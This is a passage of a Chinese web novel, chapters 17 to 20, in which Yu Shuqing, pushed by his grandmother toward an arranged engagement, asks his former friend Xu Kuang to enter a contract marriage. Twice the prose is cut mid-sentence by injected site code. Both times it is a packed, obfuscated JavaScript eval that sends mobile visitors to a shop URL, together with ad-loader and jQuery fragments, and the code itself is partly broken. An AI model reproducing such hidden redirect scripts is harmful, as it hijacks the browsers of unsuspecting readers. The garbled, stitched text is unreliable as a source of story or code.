郁雪玲已经到家了,在屋檐下抱着只雪白的京巴犬听雨:“我想问问,小咪的约会怎么样了呀?” “挺好的,他们还在喝咖啡呢。” 郁书青也停止了挣扎,死死地瞪着徐矿。 “哦,”郁雪玲叹了口气,“可惜外面下雨了,不然年轻孩子还能去看个电影,小矿啊,你也多劝劝小咪,让他早点给婚事定下来。” 徐矿努力让自己的声线平稳:“好的,您放心吧。” 这个电话持续的时间不长,挂了后,徐矿低头看郁书青的脸,心里嘀咕,怎么脸这样小啊,他横着的手掌盖住大半,就露出俩发红的眼睛,死死地盯着他。 “要不这样,”徐矿笑着看他,“我数一二三,咱们同时撤退?” 郁书青的睫毛抖了下。 徐矿继续道:“不说话,我就当你默认了啊?” 他稍微往上撑了下身体,给彼此留出一定空隙,也是给自己争取了点逃跑的空间:“一、二、三……” 可时间到了,徐矿却并没有完全放开。 他像是被那双玻璃珠似的眼眸吸引,改了主意,深深地凝视着对方:“话说,你奶奶要求你必须一个月结婚,现在你还没对象,可改怎么办啊?” 铁钳似的大手松开了点,郁书青偏过脸,咬牙道:“关你什么事!” “要不然,”徐矿很认真地思考了下:“我勉为其难,帮你想个办法?” 他拿开自己的手,盯着指间的潮意看了会,若有所思。 “比如,陪你结个婚?” 17.第 17 章 足足有五六秒钟的功夫,车内一片安静。 都没人说话。 徐矿感觉自己的脸一点点地烧了起来,来之前他并没有考虑什么结婚的事,完全把这个当做个热闹、或者说是笑话来看,只是想通过接吻,看看自己是不是真的对男人有感觉了,结果话赶话就说到了这份上。 他给自己找面子:“我开玩笑的。” 郁书青凝视着他:“不,你是认真的。” 徐矿笑了一声:“这有什么认真不认真……” “你发现你对我有感觉了,”郁书青还躺在车座上,头发散开了点漂亮的弧度,红润的嘴唇也在笑,“你,徐矿,你喜欢的是男人,我是男人,所以,你喜欢我,故意过来向我求婚。” 徐矿:“……” 被一模一样的话甩过来,他被噎得完全无法辩驳。 “不好意思,”郁书青撑着身体坐起来,“即使协议结婚,我也不会找你——” 在最后这个字拉长的时间,他上下打量了徐矿,歪着头甜甜地笑了:“不会找你这样的。” 徐矿给人摁回去:“你说清楚,什么叫我这样的,我哪样?” “我身材相貌哪点差了?家里条件也可以,那天还是我抱着你去洗澡的,你和你二叔闹别扭,也是我上去帮你揍人,拜托,小咪你讲点道理好不好。” 新仇旧恨全部涌上心头,徐矿至今都在为那两百块钱委屈。 “要说协议结婚,我这样知根知底的不比你在朋友圈随便拉来一个强?家世清白身体健康,除了我不能给你生孩子,我上得厅堂下得厨房,哪儿差了,你今天必须给我说清楚,凭什么不会找我这样的?” 郁书青忍无可忍:“你话好多。” 徐矿继续:“这关系到男人的尊严,再说了,话多怎么了?我乐意天天对着你说话唱歌,念诗集讲故事也行,结婚后陪着亲戚周旋都做的到,那种不说话的叫冷暴力,我这样的怎么了!” 不怎么,就是郁书青想给他从车上扔下去,去外面淋淋雨。 当初怎么就被这张脸迷惑了呢。 他不想再跟对方纠缠:“你活差。” 其实郁书青也不想这样说的,对于男人而言,这三个字无异于杀人诛心,直接挑战最脆弱敏感的自尊心,那天他甩了徐矿两百块钱,就是暗讽你也就值这点,菜就多练,给人气的追着他嗷嗷叫,做梦都能感觉有鸟在耳朵边叽叽喳喳。 郁书青虽然不太跟人吵架,但是该有的技巧都有,那就是趁他病要他命,在对方破防的时候狠踩,方能大获全胜。 只要徐矿继续跳脚,他也不用再多说什么,就反复地讲不好意思,你活差。 郁书青无辜地眨了下眼睛,心里祈祷能快点给徐矿气死,可想象中的暴跳如雷没有出现,只有弱弱的、尾音颤抖着的疑问句。 “真的吗?” 郁书青:“啊?” 他已经坐了起来,徐矿半跪在他身上,不自觉地握着他的手腕:“我是说,我的活真的很差吗?” 郁书青顿了顿:“嗯。” 徐矿抿着嘴:“我看你那天叫得挺嗲,以为自己不错……” “够了!” 郁书青红着耳朵去捂对方的嘴:“不许说!” 他再怎么开放宽容,也不代表能堂而皇之地议论这个话题啊! 徐矿的声音闷在掌心里,一同扑过来的还有潮热的气息,可人有点垂头丧气的样子:“那你教教我,行吗?” “不教,滚!” 郁书青怕他趁机舔自己的手,下意识地缩回来,冷着一张脸:“你给我下车,现在没你什么事了。” 徐矿“哦”了一声,又问:“那你现在呢?” 需要回去整顿下公司安保啊,郁书青没把那挥刀的男人放心上,关键是对方是怎么神不知鬼不觉,给监控的线路绞了的,这才是重点。 其实郁书青心里也猜测出来了。 那就是对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114773|136813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于二叔而言,这是件一石三鸟的计划。 郁书青要是同意结婚了,那身边就有了他的眼线,要是不同意,那就是泼脏水或者拿奶奶施压,扣他个不孝的大帽子,除此之外,郁书青也明白为什么选择胆小的闫妍了,那是因为对方有个不怎么干净的凶狠男朋友。 无论郁书青有没有跟人扯上关系,放在对方眼里,就是抢他女朋友。 要不然就拎着刀找上门了。 可能还拿了点别的好处,但是郁书青不愿再细想了,他最烦这种家长里短扯后腿的事,于是随口敷衍:“我回去上班。” “都几点了,”徐矿看了眼时间,“天气预报还发了预警,晚上有大暴雨,当心困在公司回不来。” “那我就睡公司。” “我陪你?” “你闲的慌?” 徐矿赶紧接话:“不是,咱们以前是很好的朋友,我总不能眼睁睁看着兄弟孤苦无依,可怜巴巴地窝在办公室啃面包吧?” 郁书青气笑了:“你别兜圈子,这几天眼珠子净盯着我,你到底想干嘛?” 徐矿不说话了。 “想干我?” 郁书青干脆利落地开口:“一次没过瘾,还想再来一次?” 要不然没法儿解释,郁书青不认为这人能安多好的心,唯他奶奶马首是瞻,真的不工作不聚会,帮着去盯他约会,除了实在是闲出屁,那就是别有用心。 徐矿的眼神躲闪了下:“可是,你说我活差……” “对,”郁书青毫不客气,“差,很差,差得要死,所以放我面前完全不够格,找别人去吧。” 说完,他就伸手做了个绅士礼:“请您下车,再见。” “可是,”徐矿低着头,英俊的脸上好是忧伤,“我怎么感觉我狗改不了吃屎呢……” 郁书青:“?” 他气得踢了对方一脚:“你骂谁呢!” 徐矿老老实实挨了:“我骂我自己。” 18.第 18 章 郁书青没想到城市进入汛期后,能下这么久的雨。 就像他没想到,如此轻易地就给徐矿打发走了一样。 真的这么简单吗,仅仅是“活差”两个字,就让徐矿不再纠缠自己,低着头从车上下去,没带伞,身边也没跟着人,就这样走进连绵而阴沉的雨势,身影孤独而落寞。 看得郁书青很后悔。 早知道,就应该早点说出来这两个字! 他倒是不在乎伤了徐矿的自尊,因为郁书青这人心思还蛮重,在他心里,如果给你划分为了家人或者朋友,那他就极为护短,要是没有进到这个安全区域,那对不起,即使有过露水情缘,那和路人也没什么两样。 充其量是个长得帅的路人。 那他就多看两眼。 收回目光,郁书青依然过着按部就班的生活,工作,看报表,研究市场导向,偶尔和朋友去郊外骑单车,而更多的闲暇时光,则用来陪伴奶奶。 他已经不再试图说服郁雪玲了。 郁书青早就明白,人的想法由于时代背景和自身认知,会有局限,他不强迫给奶奶拉回来,所以就是尽自己最大可能去配合,之前朋友江泽还笑过他,说郁书青将来要是有孩子了,绝对是那种人人喊打的熊家长,太溺爱了。 郁书青不服气。 “我问你,你之前养猫的时候,猫给玻璃杯打碎了怎么办?” 郁书青没思索:“用纸包好碎片再扔。” “你养的狗啃沙发呢?” 郁书青继续:“那说明它运动量不够,是我的错,没及时溜它。” 江泽竖起来根手指头,摇了摇:“不,运动量什么都够,它就是欠的,看见沙发就咬,非得给里头的填充物弄得哪儿都是。” 这次,郁书青沉默了会儿。 再抬起头的时候,眼眸很认真:“那多买几个给它咬呗,多大事。” 但是今天,郁书青的宽容有些不起效果了,因为奶奶捂着自己的胸口,气得手都在抖。 “你就是应付我,对吗?” 郁雪玲没跟孙子发过这样大的脾气,结婚后,她从未插手过后代的问题,丈夫把全部都安排妥帖,儿子们也很争气,郁家上上下下不指望她操任何心,她只需要考虑今日的茶点合不合口味,明儿是否要下雨,别浇坏了她的花。 郁书青站起来了,恭敬地垂下头:“没有。” “还有两周你就要生日了,”郁雪玲喘着气,“我、我也不知道该怎么教你,但为什么你就不听话呢,只是结婚,你爷爷说不定就能好,你也……” 郁书青敏锐地抬眸:“我?” “没错,就是你!” 郁雪玲赌气般的往后一靠,手帕落在沙发上的时候,外面正好炸了声雷,唬得她一哆嗦,郁书青立马上前揽住她的肩:“奶奶,您告诉我,为什么一定要逼我结婚呢?” 不是逼着结婚呀。 郁雪玲苦恼极了,她只是想尽可能地保护自己的孙子,而偏偏,结婚才是能够避开劫难的办法,她其实挺信这个的,并且既然知道了这件事,总会膈应或者有芥蒂,可是,郁锋不让她告诉小咪。 外面的雷声一个接一个,像是从遥远的神祇那里传来的震怒,郁雪玲靠在孙子的怀里,发出声抽泣。 “我害怕,”她攥着郁书青的衣领,“小咪,我害怕。” 郁书青紧紧地抱着她:“没关系的奶奶,有我在。” 曾经瘦小的少年,已经可以将她整个人都圈在怀里,时间变得这么快,孩子都是什么时候长大的呢?郁雪玲有些记不太清楚了,她觉得自己命好,颠沛流离的私奔就那么两个月,再大的雨也有丈夫给她撑伞,说小妹别怕,后来家里出了点事,儿子就接过了担子,再往后,她的小咪也能站在生意场上,杀伐果断。 她当然心疼呀。 “你不回家住,身边连个知冷知热的枕边人都没,”郁雪玲抬起头,终于在心跳声中说出口,“订婚宴我已经定下了,就在下周五的时候。” 郁书青挑了下眉。 郁雪玲自己也慌,用手背拭了下眼泪:“小咪,你不要怪我,奶奶也是为你好。” 她催了这么久都没办法,相亲也盯着了,好话歹话都说尽,郁锋给她出了个主意,说要不然赶鸭子上架吧,请帖往外一发,小咪顾忌着家里的名声,就要开始着急了,您是不知道,现在外面大把的姑娘喜欢小咪,个个温柔知礼,比如阿妍,您见过那姑娘,虽然被拒了,但对小咪可上心了。 郁雪玲也问,说这不是给小咪绑着了吗? “男人结婚就收心了,”郁锋循循善诱,“结婚前都是小孩心性,只要一成家,那不就踏实下来了。” 郁雪玲想了想,觉得很有道理,郁锋之前有点贪玩,也是结婚后变了个人似的,于是咬牙道:“那……听你安排吧。” 下周五,正是大师千挑万选的好日子。 没错,好姐妹也给她介绍了个大师,看了家里人的生辰八字后沉吟,说别的都挺好,就是你这孙子有劫。 所以郁雪玲思来想去,今天必须给话说明白,不能再拖了。 “下周五,”郁书青咀嚼着这三个字,“请帖发出去了吗?” 郁雪玲硬着头皮:“嗯。” 郁书青笑了下:“那您能告诉我,我跟谁结婚啊?” 闪电给屋里照亮一瞬,紧接着,就是雷声炸响。 郁家老宅建成的年限早,红砖上攀着重瓣蔷薇,郁郁葱葱地妆点着这幢在上世纪的枪雨中就存在的别墅,后期的修葺没有大动,保留了最大限度的西式风格,因为郁雪玲喜欢这种,客厅里还有着手摇留声机,爵士乐从紫铜喇叭口缓缓往外流淌,氤氲出迷离的气氛,像黏腻的蛛网,一点点地笼住郁书青的全身。 梦境交杂现实,郁雪玲呆呆地看着前方,她疼爱的孙子一步步朝外走,可她的灵魂太老了,已经无法跟上—— 郁书青关掉了留声机。 他反手撑在桌子上,语气很淡:“只要结婚就行,对象无所谓,是吗?” 郁雪玲张了张嘴:“啊……” 她紧接了一句:“还是要找喜欢的,温柔识大体的。” 泛黄般的旧日气氛消失殆尽,郁书青神情轻松,嘴边带着若有似无的笑意。 “好啊。” - “捏够了吗?” 白可心和江泽占据了沙发的最两边,姿势都不怎么端正,一脸无奈地看着中间的郁书青。 而面前的桌子上,被捏扁的面包已经堆成小山。 郁书青面无表情:“不够。” 白可心坐直身子:“其实这事也简单,找人签份协议,走个过场也没什么。” 江泽插话:“是啊,只要不领证,吃完饭该干啥干啥。” 虽然他也嘲笑了好一会儿,但这会儿正经起来,还是得给郁书青出主意:“你不是查出来了,有那什么大师忽悠你奶奶,不然这样,咱以毒攻毒,也找个大师说你二叔必须离婚,不然明天出门就踩狗屎。” 郁书青的动作停下了。 白可心也跟上:“就是,主动权得在咱手里,哪儿都被牵着鼻子走,这就叫用魔法打败魔法。” “然后呢,”郁书青侧过头看他们,“我二叔再找人,我再找,永动机了是不是?” 他坐在地毯上,刚才洗过澡没擦干头发,这会几缕头发都倔强地翘着,彰显出一种郁闷的呐喊。 白可心和江泽一起陷入沉思。 郁书青又低下头捏面包。 “要不……” “其实也行……” 两人对视一眼,江泽胆儿大,拿手拍了下郁书青的肩:“真的,找个协议的拉倒。” 郁书青没抬头:“我上哪儿找去。” “其实简单,”江泽说,“只要有钱,提前说好了,再做个公正的话……” 白可心举手:“你好,这没有法律效应的。” 她凑近郁书青:“只要领证了,那就是承认的合法婚姻,哥你真的想清楚。” 郁书青抬起头:“我还得领证?” 白可心一本正经:“我怕你过不了奶奶那关。” 郁书青又给头低下了。 “讲真,”江泽也跟着凑近,“你就没啥前女友,最好是藕断丝连,还想着能破镜重圆一下的……” 话说完,他就打了下自己嘴巴:“哎呀,我怎么给忘了,你可是朵牡丹哎~” 最后那个“哎”被拉得千回百转,那叫一个曲折悠扬,反正江泽不怕,郁书青这会儿闷闷不乐,战斗力直线下降,真动起手他也无所谓。 白可心咳嗽了一声,又坐回沙发上了。 郁书青倒是沉吟了下,抬眸:“为什么要找前任?” “有感情基础啊,”江泽毫不犹豫,“你想,到时候订婚现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127807|136813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场肯定得亲个嘴,最起码也得拉拉抱抱,你跟陌生人做这个不膈应啊?” 他可不像郁书青没恋爱经验,这会儿说得有些上瘾:“并且前任的话你俩也熟,纪念日啊什么的都知道,不会露馅,但关键是你没有前任啊,这可该怎么办呀,要不然找之前暗恋你的?我记得上学那会,追你的人也不少,可惜都被你吓回去了,现在都没联系方式了哈哈……” 江泽笑着笑着,不笑了。 他的目光由看热闹的欠劲儿,转为了迷茫,然后是震惊,因为郁书青已经沉默下来,似乎真的在记忆里抽丝剥茧,要找出一个能配合他的前任。 “不会吧,”江泽目瞪口呆,“你还真有?” 他转而看白可心:“他还真有!” 白可心目光飘忽了下,没敢吭声,聚精会神地盯着自己的手机,也不知道在忙啥,反正手指移动的速度挺快的。 江泽看了眼:“你居然在打游戏!” 白可心:“嗯呐。” 江泽:“你哥都这样了,你还有心情打游戏!这么轻松吗!” 白可心动作不变:“那……我就紧张地打游戏。” 两人叽叽喳喳斗嘴,郁书青则把捏扁的面包放那了,转过身:“哎,我问你个事……你记得以前有个叫徐矿的吗?” 江泽想了下:“记得,他家很有钱。” 郁书青顿了顿:“我俩是不是……曾经关系挺好的?” “这我有点忘了,”江泽“嘶”了一声,“主要他跟咱没一个班,并且这个人,特别闪。” 郁书青问:“闪是什么意思,招摇吗?” 江泽摇头:“不是,你一见他就明白了,就是那种能在人群中一眼看出来,和别人不一样的类型,咋说呢,挺有魅力的。” 这点郁书青倒也承认,只要给徐矿毒哑,光看那张脸和身材,以及浑身散发出的气质,没有人不会被他吸引。 “你俩的关系我真忘了,”江泽继续道,“主要那会儿不是一个朋友圈,他也不跟咱们玩,怎么了?” 郁书青垂着睫毛:“没事,我就问问。” “哎,”江泽突然想起来什么,“你不是有那个相册,要不翻一下?” 上学那会大家都比较中二,灵魂清澈而愚蠢,一次分班就能哭出个死生不复相见的悲伤,结果第二天发现俩班挨着,上厕所都能一块儿走。 所以很流行互相赠送照片。 背面往往也会写下日期,以及一些黏糊糊的留言。 譬如好哥们一起走,你是我这辈子最好的兄弟之类的。 郁书青知道自己的相册在哪儿,但是,他很多年没有打开过了。 对于郁书青而言,打开曾经的某些记忆,也需要一定的勇气。 可这会儿不知是不是面包的味道太甜,挠得他心里有些痒,还是前几日被徐矿吻了眼皮儿,那里温热的触觉始终没有消失似的,提醒着自己,曾经发生的一切。 “你真的把我忘了。” “我们曾经是最好的朋友。” 郁书青闭上眼睛,深深地呼出一口气。 他没让别人进来,自己在书房席地而坐,几本相册躺在微凉的红木地板上,时间太久,翻开的时候都觉得记忆也变得薄而脆。 可上面的笑脸,却依然清晰。 郁书青的视线顿住了,他伸手,拿起那张泛黄的照片。 背景是喷泉,晶莹的水流隔了岁月也仍旧璀璨,绿意盎然的草地上,是两个男孩嬉闹的身影。 前面那个矮一点,穿着白色的水手衫,瞳仁又黑又亮。 而高一点的男孩则抱着他,笑得见牙不见眼——不,少了一颗门牙,却像个打了胜仗的将军似的,从后面把郁书青抱了起来。 这一幕被抓拍下来,封存在相册里,终于被郁书青打开。 却无法唤起曾经的记忆。 只是…… 郁书青的指尖从自己的笑脸上划过。 难道徐矿说的没错,他们真的曾经是很好的朋友吗,所以他的忘记,导致对方那么生气。 一股愧疚感油然而生。 郁书青叹了口气,翻开照片的背面,想要看看有没有什么标记—— 他愣住了。 稚嫩的笔迹写得很深,能看出来写字的人,当初用了多大的力气。 赫然的一行字。 “我最讨厌徐矿了!” 19.第 19 章 郁书青是个谨慎的人。 也就是说,哪怕看到自己亲手写过的字,也不会直接轻信,断然做出结论。 毕竟当初的自己,可能也就七八岁的年纪,要是和朋友闹矛盾赌气,写出对方的名字说他是天底下第一大坏蛋,是很正常的一件事,所以郁书青没有太在意,只是把照片轻轻放下,拿起了另外一张。 也是和徐矿的合照,地点应该是在他家里,一颗挂着缤纷礼物盒的圣诞树下,徐矿穿了件浅灰色的棒球衫,头发扎了个小辫,正踩着一辆酷炫纯黑的滑板车笑,而自己则席地而坐,一脸无语地看着对方。 表情很明显,嫌弃对方太显眼包。 这张照片里的两人,应该是要上初中的年纪了,郁书青翻过照片背面,果然是空白。 长大了,再在同学照片后面写字,就不太礼貌了。 郁书青不怎么拍照,小时候的照片更是寥寥,找了好一会儿也只能发现这两张,依然无法判断他和徐矿曾经的关系,已知对方和奶奶都说,他们曾经是很好的朋友,而江泽则表示不太清楚,郁书青把东西放好出来,掩上卧室的门,神情不太自然。 他前几日还在骂徐矿,说明明是好兄弟却馋自己身子,还说人家活差,放在自个儿面前完全不够格,快点找别人去。 明明徐矿也在帮自己出主意,说协议结婚的话,他可以勉为其难帮忙。 郁书青在地毯上坐下了,想得有些出神。 其实徐矿,是个很不错的选择。 曾经有交情,家里的长辈互相熟悉,也不可能在经济上或者人情上图点什么,协议一签,轻松自在,最重要的是还睡过,真有点亲密的动作,郁书青倒也能接受。 并且据郁书青所知,徐家父母都挺宽容,家里资本雄厚势力又大,外人不敢过多置喙,拿来应付家里,再好不过。 可是,徐矿凭什么帮助自己呢? 郁书青想起那天车内的对峙,外面暴雨瓢泼,他被徐矿按在后座上,对方凝视着自己的嘴唇,说要不要再亲一下,看看究竟有没有感觉。 那个吻,最终落在了他的眼皮上。 却比耳鬓厮磨更惹他脸红。 “……哥?” 白可心伸手晃了两下:“您想什么呢,这么出神?” 郁书青反应过来,咳嗽了下:“没什么。” “你在想结婚对象,”江泽翘着二郎腿,一副老神在在的模样,“你脑海中有人选了,你在思考。” 郁书青倒是不否认,干脆地点头:“差不多。” 江泽坐直了:“哇靠,谁啊?” 郁书青:“还不能说,有点棘手。” 他意识到,自己现在还没有人家徐矿的联系方式,并且很过分的一点就是,最后一次见面,还是他给徐矿骂走的。 但这也不能怪郁书青啊。 哪儿有这样说自己的,说什么狗改不了吃屎,一骂骂俩。 白可心在后面眨着眼睛:“哥,需要我把联系方式发你不?” 郁书青的手指尖在地毯上划出一条印,顿住的时候,慢慢开口:“嗯。” - 这个电话拿到手,可一直到晚上九点多钟的时候,郁书青才有勇气打出去。 他没想好该怎么说。 你好,能不能结个婚? 似乎不太礼貌。 可是想到下周五的订婚宴,郁书青还是硬着头皮拨出了那个电话,这会儿他在公司里,没走,挨着落地窗往下看,玻璃上倒映着青年漂亮的侧脸,神情有一丝明显的紧张。 夜景再美,郁书青也没什么心思看,因为电话很快接通。 “喂?” “你好,是我……” “咔嚓”一声,徐矿给电话挂了。 郁书青:“……” 他就知道会这样! 郁书青闭了闭眼睛,这事他理亏,于是认命地给对方编辑了条短信,发送过去。 内容很简单,就是你好,我是郁书青,请与我回电。 发完,他就把手机倒扣在桌子上,换衣服准备下班,郁书青平日里生活挺枯燥的,不泡吧不混圈,最多周末和朋友一块徒步或者骑行。 城市的夜生活,仿佛在此刻才刚刚开始。 车水马龙中,一辆越野仿佛汇入河中的水滴,低调而不张扬,静静地驶向回家的方向,路旁经过一条酒吧街,炫彩的灯光在车窗上折射,也无法吸引郁书青的目光。 他安静地看着前方。 手机在副驾驶上撂着,什么动静都没有,沉默而忠实地陪伴着他。 老实讲,郁书青的心里,还是有那么一点失落的。 时间最易美化,确定自己真的和徐矿是旧相识,并且极为可能关系不错后,郁书青就有些隐隐的愧疚,觉得最后那次说的也太不留情面,虽然他也没啥经验,但装得跟万花丛中过似的,笃定地说徐矿活差。 万一人家当真了怎么办。 太不像话了。 郁书青嘀咕着握住门把手,“滴”的一声,冰冷的机械音响起,偌大的客厅也亮起柔和的灯光,晚风将薄薄的窗纱吹得晃动,显得屋内有那么点寂寥,郁书青也没怎么在意,他这会儿想着,自己有责任纠正之前的错误,别给徐矿真的弄出啥心理阴影,怪可惜的。 换鞋,脱掉外套,浴室里的水放好了,郁书青按部就班地把身体没入温热的水中,长长地呼出一口气。 现在的目标就是,说服徐矿和自己结婚。 如果徐矿不愿意,那就再想别的办法。 被挂电话并没有让他造成气馁,反而激起了郁书青的斗志,他像是找到了目标的小兽,冷静地盯着眼前的猎物,随时都准备出击。 如果猎物跑了,该怎么办? 没关系,这么辽阔而美丽的草原,他不在乎换另一个。 洗完澡出来,郁书青照例去厨房热牛奶喝,从小养成的习惯了,为了长高,捏着鼻子每天喝一杯高钙牛奶,最早那会郁书青很讨厌牛奶的腥气,但生活真的很奇妙,渐渐地,他居然接受了这个味道,觉得美妙无比。 搁在茶几上的手机,发出幽幽的光。 郁书青走过去,随手拿起来,屏幕亮起的刹那,他没忍住,扬起嘴角。 徐矿的信息,在几分钟前才回了过来。 “你好,请问有什么事吗?” 模仿他的语气,特公事公办。 这人是真的小心眼,愣是给郁书青逗得有些想笑,他这会儿刚洗过澡,整个人都被水浸得软和起来,散发着湿漉漉的温柔,要是以前,郁书青一定继续短信回呛,但他现在不这样了,亲自把电话拨了过去。 等待的时间不长。 接通的时候,两人都没有说话。 似乎都在屋内独处,背景安静而空旷,连彼此的呼吸都可以听到。 郁书青低低地笑了一下:“喂,徐矿?” 对方这才出声,语调有些冷硬:“嗯,有事吗?” 郁书青接道:“没事就不能找你了?” 这句话说完,徐矿足足顿了好几秒,才开口。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“你没事吧,”声音也跟着有些着急,“你怎么了,吃错药还是喝醉酒了?” 徐矿记得国内药品这点管控很严,不应该啊,他之前见过年轻的男男女女在趴体上嗑药,一边随着音乐摇晃一边往外乱打电话,跟特么随机杀人似的,张口就是会被【哔】掉的台词,事实上,今天郁书青给他发信息那会,他真的思考了很久,是不是郁书青又喝大发了。 搞得他心情很复杂。 怎么郁书青平日里的生活,都这么丰富多彩吗? 这会儿也太像没话找话了。 “没有,”郁书青靠在桌沿上,反手按着那层微凉的大理石,“我有点事,可能需要找你帮忙。” 徐矿听他语气平稳,放下心来,人重新变得嚣张:“我为什么要帮你?” 郁书青毫不犹豫:“我们不是曾经的好朋友吗?” 过了片刻,他听见对面倒吸一口凉气的声音—— “不是,你还真信了啊?” 郁书青:“……” 这话有点没法接。 他扶额苦笑,觉得徐矿也真是的,到这个时候了,还在跟他嘴硬。 “先说吧,”徐矿态度似乎软化了点,“需要我帮你什么忙?” 郁书青吞咽了下,手指无意识地在桌面上划来划去:“那个,能不能过来跟我……结个婚?” 这次回答他的,是长久的沉默。 郁书青硬着头皮:“这事说来话长……算了你应该也清楚,就是我家里呢,需要我现在结婚,你有这个参与想法吗?” 徐矿:“没有。” 郁书青:“你之前不是说,可以勉为其难地帮助我一下吗?” 徐矿:“你也说了,那是之前。” 郁书青:“哦。” 又是一阵漫长的沉默。 直到徐矿的笑声隔着那么远的距离传来,吵到了郁书青的耳朵。 “你还真要跟人结婚啊,是协议还是什么?哈哈哈郁小咪你也有今天!” “我还以为你能跟家里杠到底了,哎呀,怎么回事啊小哥哥,现在就怂了低头了呀,没关系的啦,人到了一定的年纪,就是要这个样子的啦!” 郁书青忍无可忍:“我比你大?” 瞎叫什么哥哥,搞得他出一身鸡皮疙瘩。 徐矿简直像是被绑着狂欢之椅上,整个人明显地开始兴奋,急促得生怕郁书青会挂电话似的:“没,我比你大,但是你不是说我活差,那我就得挨打立正嘛——” 郁书青的脸上没什么表情,但脑海里已经出现了只开屏的孔雀,嘚瑟地冲自己摇晃那大以巴,浑身都是阴阳怪气的绿茶味儿。 “没想到是真的哎,我们郁书青就要英年早婚了,你放心,我到时候一定亲自到场祝贺……” 郁书青忍无可忍:“算了,我不找你帮忙了。” 还说有过感情的,亲热起来不怕露馅呢,他怕到时候订婚宴上,自己会忍不住跟徐矿对掐起来。 徐矿终于收声:“那可不行,你的忙我当然要帮的,无论是帮你拍照还是什么……不好意思呀,你是不是现在还没找到结婚对象呢?” 郁书青面无表情地捞过个玻璃杯,手一松,随着清脆的碎裂声,玻璃片在地上四溅开来。 徐矿安静了下:“什么声音,你怎么了?” “你不是说,我的忙你当然要帮的吗,我把杯子打碎了,光着脚,没法儿走呢。” 郁书青的视线掠过地上的的碎片,笑声很轻。 “不来帮忙吗,小哥哥?” 20.第 20 章 来的路上,徐矿就在想,郁书青这么大的人了,给杯子打碎自己不会收拾吗,凭什么还要他来管。 进电梯的时候,他还在这样想。 说什么光着脚,没法儿走,徐矿就纳闷了,那玻璃杯得有多大,能给地上弄的全是碎片?屋里又不是没灯,郁书青也不瞎,只要避开不就行了吗? 所以站在门前,徐矿就打定主意,等会见到郁书青的第一句话,一定要嘲讽一句,问你长那俩大眼睛干啥用的,是不是瞎啊。 可是敲门没有得到回应。 只有手机屏幕恰如其分地亮起。 徐矿低头一看,是一串数字,没什么规律,也没别的解释,他的神情怔然片刻,抬手,试着在电子键盘上依次按下。 机械音响起,门开了。 徐矿愣了下,反手关门,快步往前走去:“郁书青?” 客厅亮着灯,屋内却仍充盈着一种昏暗的气息,可能是因为太空旷,不仅是身为大平层的庞然面积,更重要的是,几乎没有什么装饰品,墙壁泛着浅色的灰调,空荡荡的,触目所及没有任何的油画或者绿植,只有必要的家具,和沙发附近铺着的厚厚地毯。 他很快就看到了郁书青。 ……真的没穿袜子,光着脚。 可能是刚洗完澡,身上只松松垮垮地穿着件薄款的冰丝浴袍,香槟色,衬得他整个人都极为柔软,像是种名贵的郁金香,懒懒地靠在餐桌上,双手撑着后面的桌沿,显得颈窝那里格外地深,被头顶的灯光一照,泛着淡淡的细腻珠光,如同釉白的瓷。 可瓷触手生凉,郁书青却是暖的。 徐矿知道这一点。 他不自觉地移开目光,语调生硬:“你……一直在这里等我?” “对啊,” 郁书青微笑起来:“我不是说了,地上都是碎片,没法儿走。” 他就这样仰着脸,定定地看着徐矿,表情真诚极了,似乎还带着点埋怨,觉得你怎么来这么晚呀,害我等得好久。 徐矿避开散乱的碎片,一步步朝他走去:“怎么不联系物业管家,或者助理?” 郁书青说:“我不放心把密码告诉别人呀……” 他朝徐矿张开双臂:“抱我。” 徐矿这会儿有点心烦意乱,像是忘记了什么,来不及、也没时间思考,因为郁书青已经清晰地给他下了指令,所以本能地顺从了,真的就这样略微弯腰,把郁书青打横抱起—— 浴袍的下摆垂落,露出光洁的小腿,和泛着粉意的脚跟。 郁书青搂住徐矿的脖子:“你来得好晚。” “对不起,”徐矿下意识地道歉,“我住的有点远了。” 他抱着郁书青,穿过闪着细钻般光芒的玻璃碎片,说不上来,这会儿像是喝了酒,脑子很钝很闷,只听见郁书青说,别把他放沙发上,去卧室。 徐矿“哦”了一声,转身看了眼,抱着郁书青往卧室走去。 这里的布局太一目了然了。 客厅大得能跑马,房间却不多,徐矿大致扫了下,发现只有主卧、书房,和一间储藏室,连次卧都没有。 而主卧里面的装饰也少得可怜,唯一能称得上亮色的,是一盏花朵造型的小壁灯。 小花壁灯大概睡着了,没起来工作,卧室里依然黑乎乎的,只有背面洒进客厅的灯光,在地板投下长长的影子,太不够看了,徐矿就这样抱着郁书青,没给人放下,也没说话,周围静谧得不可思议,能听见吞咽的声音。 郁书青还搂着他的脖子:“你有什么话要说吗?” 徐矿闷声道:“有,但是我忘了。” 郁书青笑声很轻:“那你想一想。” 徐矿依然没给郁书青放下,他甚至还往上掂了掂,刚才那会就想说了,没穿鞋子的郁书青,似乎比印象中要更矮一点,不,郁书青的身高在男人中也算能看得了,主要是身材比例好,小头小脸,身体线条也非常流畅,没有一丝一毫的赘肉,所以穿衣好看,不穿衣服也很好看,而光脚的郁书青看向自己的时候—— 